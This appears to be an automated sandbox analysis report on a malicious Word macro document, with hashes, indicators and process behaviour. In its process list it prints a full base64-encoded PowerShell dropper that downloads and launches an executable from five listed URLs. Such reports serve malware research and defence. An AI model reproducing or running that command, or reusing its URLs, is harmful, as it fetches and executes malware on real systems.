Analysis

  • max time kernel
    58s
  • max time network
    57s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:38

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12169.12560.17671.doc

  • Size

    172KB

  • MD5

    b723bffd3d4b6b7fa028d2a20c5f0921

  • SHA1

    7588128c5ae380846647b8219de31b62e0ec3fd2

  • SHA256

    28e85a8022d13e3eae9c98b2befa55c01ad65cb6de39ef857d7a8f6c2153a84d

  • SHA512

    a97c3b5ab5ce88fd249bed5bfb95a0557caff5edb3cb7b1bdefaaf612ae4c7cd6df370a4cb9c14f40744d1b88c61db416da1802fb9304355e13938c78c34f24b

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.hatchdogs.com/assets/XIw/

exe.dropper

https://groovyboove.co.uk/blogs/8T94mmdka13/

exe.dropper

https://gregemerson.com/wp-includes/hudy17240/

exe.dropper

http://guariz.com.br/WuutjlO/

exe.dropper

http://hafder.com/images/fhq7h7babdbe5q5052/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12169.12560.17671.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1456
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAE0AQwBOAEwAbQBmAGUAPQAnAFIAVABFAE8ATQBjAGYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIASQBUAGAAeQBgAHAAcgBPAGAAVABvAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQBEAE8AQQBXAGwAcQB2ACAAPQAgACcANwA0ADQAJwA7ACQASwBCAEEATgBIAGsAbQBvAD0AJwBaAEEARgBFAEIAdABxAHAAJwA7ACQAQwBRAEMAQwBXAHoAdwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAEQATwBBAFcAbABxAHYAKwAnAC4AZQB4AGUAJwA7ACQAUABGAFAAVwBTAG0AZgB0AD0AJwBRAFEATQBVAFQAcwBiAGwAJwA7ACQATwBDAEQAWABEAHcAZQBrAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAFgAWgBLAFUAYQBxAHIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBoAGEAdABjAGgAZABvAGcAcwAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBYAEkAdwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBvAG8AdgB5AGIAbwBvAHYAZQAuAGMAbwAuAHUAawAvAGIAbABvAGcAcwAvADgAVAA5ADQAbQBtAGQAawBhADEAMwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBlAGcAZQBtAGUAcgBzAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaAB1AGQAeQAxADcAMgA0ADAALwAqAGgAdAB0AHAAOgAvAC8AZwB1AGEAcgBpAHoALgBjAG8AbQAuAGIAcgAvAFcAdQB1AHQAagBsAE8ALwAqAGgAdAB0AHAAOgAvAC8AaABhAGYAZABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AZgBoAHEANwBoADcAYgBhAGIAZABiAGUANQBxADUAMAA1ADIALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAWQBVAEMAWgB5AHMAZQA9ACcATABPAEQAVQBWAG0AcgBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAFgAUgBWAFgAcABsAGIAIABpAG4AIAAkAE0AWABaAEsAVQBhAHEAcgApAHsAdAByAHkAewAkAE8AQwBEAFgARAB3AGUAawAuACIAZABPAGAAVwBuAGAAbABgAE8AYQBEAEYAaQBMAEUAIgAoACQAWgBYAFIAVgBYAHAAbABiACwAIAAkAEMAUQBDAEMAVwB6AHcAbgApADsAJABaAE4ASQBOAEkAbgB6AHcAPQAnAEEARQBHAE4ARABwAHkAdwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEMAUQBDAEMAVwB6AHcAbgApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMwAyADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAHQAZQAiACgAJABDAFEAQwBDAFcAegB3AG4AKQA7ACQATQBGAFIARQBOAGIAdABlAD0AJwBWAFYAWgBDAEcAZABiAHkAJwA7AGIAcgBlAGEAawA7ACQARwBQAEcARABDAGEAcgB6AD0AJwBYAEwATwBWAFkAdgB4AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBKAFUATQBQAGkAcgBhAD0AJwBCAEMAQQBKAEIAcQBtAHAAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Modifies system certificate store
    PID:1788

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1456-2-0x0000000008AA0000-0x0000000008AA4000-memory.dmp
    Filesize

    16KB

  • memory/1456-6-0x000000000AB30000-0x000000000AB34000-memory.dmp
    Filesize

    16KB

  • memory/1456-7-0x000000000BBB0000-0x000000000BBB4000-memory.dmp
    Filesize

    16KB

  • memory/1456-10-0x0000000002100000-0x0000000002101000-memory.dmp
    Filesize

    4KB